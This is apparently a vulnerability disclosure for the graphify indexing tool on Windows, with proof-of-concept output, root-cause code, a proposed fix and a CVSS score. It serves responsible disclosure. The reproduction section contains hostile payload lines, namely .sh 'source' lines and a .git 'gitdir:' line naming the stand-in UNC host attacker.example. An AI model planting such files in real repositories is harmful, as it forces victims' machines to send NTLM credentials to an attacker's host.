Summary graphify stats paths that come from the repository being indexed
Description
graphify stats paths that come from the repository being indexed. Three code paths do it with no containment check, and on Windows all three make the OS resolve a corpus-chosen UNC path over SMB. A repository that ships a hostile shell script or a hostile .git file therefore coerces outbound SMB authentication to a host the repository author chose, as soon as someone runs graphify update . on the checkout. The default, offline code path is enough for this, with no LLM call, API key, or other setup.
Impact
An attacker who plants files in a repository (a PR branch, a vendored dependency, a test tarball) gets the victim's machine to talk to an SMB host the attacker picked while the victim runs graphify update ., on default settings. Windows answers SMB2 SESSION_SETUP before any share check or file read, so the host does not need to share anything. With credentials and NTLM policy that allow it, the victim sends a NetNTLMv2 response to that host.
The response can feed offline password guessing, or be relayed to services that accept NTLM, as with any forced-SMB-authentication bug. The attacker's SMB host is independent of the clone source, and it needs no existence of a share, no administrative share, and no privilege in the victim's repository.
Preconditions:
- the victim indexes the attacker's repository with graphify, on Windows;
- the victim's machine can reach the attacker's host on TCP/445;
- the Windows credential and NTLM policy allow a response to be sent.
On non-Windows platforms the same code only probes local paths, with no network disclosure, which is a weaker issue.
Reproduction
graphify update . (the documented indexing command) parses .sh files with graphify/extractors/bash.py and walks .git files as VCS markers. The PoC creates a payload directory with the three trigger files, arms a wrapper around pathlib.Path.is_file / Path.exists / Path.is_dir that logs paths on UNC-shaped arguments, and runs the real CLI:
pip install graphifyy==0.9.111
python poc.pyObserved on graphifyy 0.9.111 (current latest release) on Windows:
corpus: C:\Users\towch\AppData\Local\Temp\graphify-poc-xxxxxxxx\payload
indexing ... with the UNC probes armed...
AST cache: 0/3 files served from cache (0%); 3 to extract
[unc-probe] exists \\127.0.0.1\C$\Windows\System32\drivers\etc\hosts
[unc-probe] is_file \\127.0.0.1\C$\Windows\System32\drivers\etc\hosts
[unc-probe] is_file \\127.0.0.1\C$\Windows\System32\drivers\etc\hosts
.git probe, fired during the same run:
[unc-probe] exists \\127.0.0.1\C$\Windows\System32\drivers\etc\commondir
[unc-probe] is_file \\127.0.0.1\C$\Windows\System32\drivers\etc\hosts\info\exclude
[unc-probe] exists \\127.0.0.1\C$\Windows\System32\drivers\etc\commondir
[unc-probe] is_file \\127.0.0.1\C$\Windows\System32\drivers\etc\hosts\info\excludeThree triggers in the default flow:
(a) a .sh line with source \\host\share\x reaches the bare-source branch of extract_bash(), which does candidate = path.parent / raw and then candidate.is_file(). An absolute raw discards the prefix instead of raising, so the probe runs against the UNC path as written.
source \\attacker.example/share/x.ps1(b) a .sh line with source //host/share/x reaches the ./ branch, which does resolved = (path.parent / raw).resolve() and then resolved.exists(). A forward-slash UNC keeps its UNC semantics after resolution, and exists() stats it.
source //attacker.example/share/x.sh(c) a .git file containing gitdir: //host/share/x is treated by _git_info_exclude() in graphify/detect.py as a linked worktree marker. It stats <gitdir>/commondir and <gitdir>/info/exclude.
gitdir: //attacker.example/shareNone of the three paths passes a _within_tree or relative_to check. The branch for source "$VAR/lib/x.sh" applies _within_tree and a .. filter; these absolute-path branches apply neither.
The PoC demonstrates the mechanism without any SMB server: the wrapper logs every path passed to the three pathlib calls while the real extractor runs. I have not captured credential material for this report. On this machine os.stat against \\127.0.0.1\IPC$ and \\127.0.0.1\C$ completes as an SMB round trip; that is the channel an attacker-controlled host uses to capture a response. The published Git for Windows advisory GHSA-xrpg-8j9v-v282 (CVE-2026-62960) is the same class of defect, and captured a NetNTLMv2 response from a single such open.
Relation to GHSA-pcc4-rvhr-2pr8
| GHSA-pcc4-rvhr-2pr8 | This report | |
|---|---|---|
| Trigger file | Fortran .F/.F90 using #include | .sh source line, or a .git file in the corpus |
| Sink | cpp ... <file> subprocess | os.stat via Path.is_file() / Path.exists() |
| Guard that fails | -nostdinc -I /dev/null | none; the branches do not check containment |
| Content leaves the host | yes (via cpp preprocessing) | no; the OS only stats the path |
| Credential material at risk | no | yes, when Windows authenticates over SMB |
The earlier advisory's payloads (#include "/etc/passwd") are unaffected by this report, and payloads from this report never reach cpp.
Affected versions
graphifyy==0.9.111(current latest release): all three triggers vulnerablegraphifyy==0.9.100,0.9.90,0.9.50: triggers (a) and (c) verified against the published wheels; (b) also verifiedgraphifyy==0.9.0: trigger (b) verified; triggers (a) and (c) were added later and are not present there- no fix available at submission time
Root cause
graphify/extractors/bash.py:
# bare-source branch (trigger a), around line 458
candidate = path.parent / raw
if candidate.is_file():
...
# ./-prefixed branch (trigger b), around lines 327-333
resolved = (path.parent / raw).resolve()
if resolved.exists():
...path.parent / raw with an absolute raw discards the prefix. Neither branch bounds raw to the corpus root, and none of them special-cases drive letters or UNC spellings (\\host\share, //host/share). The variable-suffix branch applies _within_tree; these branches do not.
graphify/detect.py (trigger c):
# _git_info_exclude, around line 1469
content = dot_git.read_text(encoding="utf-8", errors="ignore").strip()
if content.startswith("gitdir:"):
gd = Path(content[len("gitdir:"):].strip())
if not gd.is_absolute():
gd = (vcs_root / gd).resolve()
commondir = gd / "commondir"
if commondir.exists(): # UNC stat fires here
...
exclude = git_dir / "info" / "exclude"
return exclude if exclude.is_file() else NoneA .git file naming a UNC gitdir: reaches commondir.exists() and exclude.is_file() with no containment gate. _linked_worktree_main_root() has the same shape (cd.is_dir() on the commondir-resolved path) and is worth fixing in the same change.
Proposed fix
Apply the containment that the variable-suffix branch already uses:
- In
extract_bash, normalizeraw; when it is absolute in any Windows spelling (drive letter, UNC,//-rooted), skip the probe entirely and emit the edge without one. As belt and braces, require_within_tree(scan_root, resolved)beforeexists()oris_file(). - In
_git_info_exclude()and_linked_worktree_main_root(), reject a resolved gitdir or commondir that is absolute and escapes the scan root; treat such a.gitfile as not-a-repo for ignore walking rather than probing it. - Consider a corpus-level guard that refuses a root containing a
.gitfile pointing outside it.
Severity
CVSS 3.1: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N (7.4, High).
The payload is the repository; no privileges are needed on the victim anywhere beyond what it takes to run graphify on the checkout. AV:N because the path names a host on the attacker's network, and PR:N because the attacker needs nothing in the victim's world. AC:L as the whole trigger is indexing the checkout. UI:R because the victim (or their agent, as part of the normal indexing flow) must point graphify at it. S:C per the vector used for the analogous Git for Windows forced-SMB-authentication advisory: the protected asset is the Windows credential, not graphify's own data, so the impact sits outside the component's security authority. C:H because the coerced response is a password-guessing oracle and a relay candidate. I:N and A:N because the probe itself writes nothing and stops nothing.
If you prefer scope unchanged, the score computes as 6.5; the preconditions and C:H impact are unchanged either way.
References
- GHSA-pcc4-rvhr-2pr8, the earlier corpus-side advisory: github.com/
Graphify-Labs/ graphify/ security/ advisories/ GHSA-pcc4-rvhr-2pr8 - GHSA-xrpg-8j9v-v282 / CVE-2026-62960, Git for Windows forced-SMB-authentication advisory: github.com/
git-for-windows/ git/ security/ advisories/ GHSA-xrpg-8j9v-v282 - Microsoft's SMB signing documentation, relevant to relay impact: learn.microsoft.com/
windows-server/ security/ smb/ security-smb-signing-overview - graphify commit 480b61e; this report was verified against the 0.9.111 release wheel and the v8 branch.
Disclosure
Found by Torch4084, November 2026.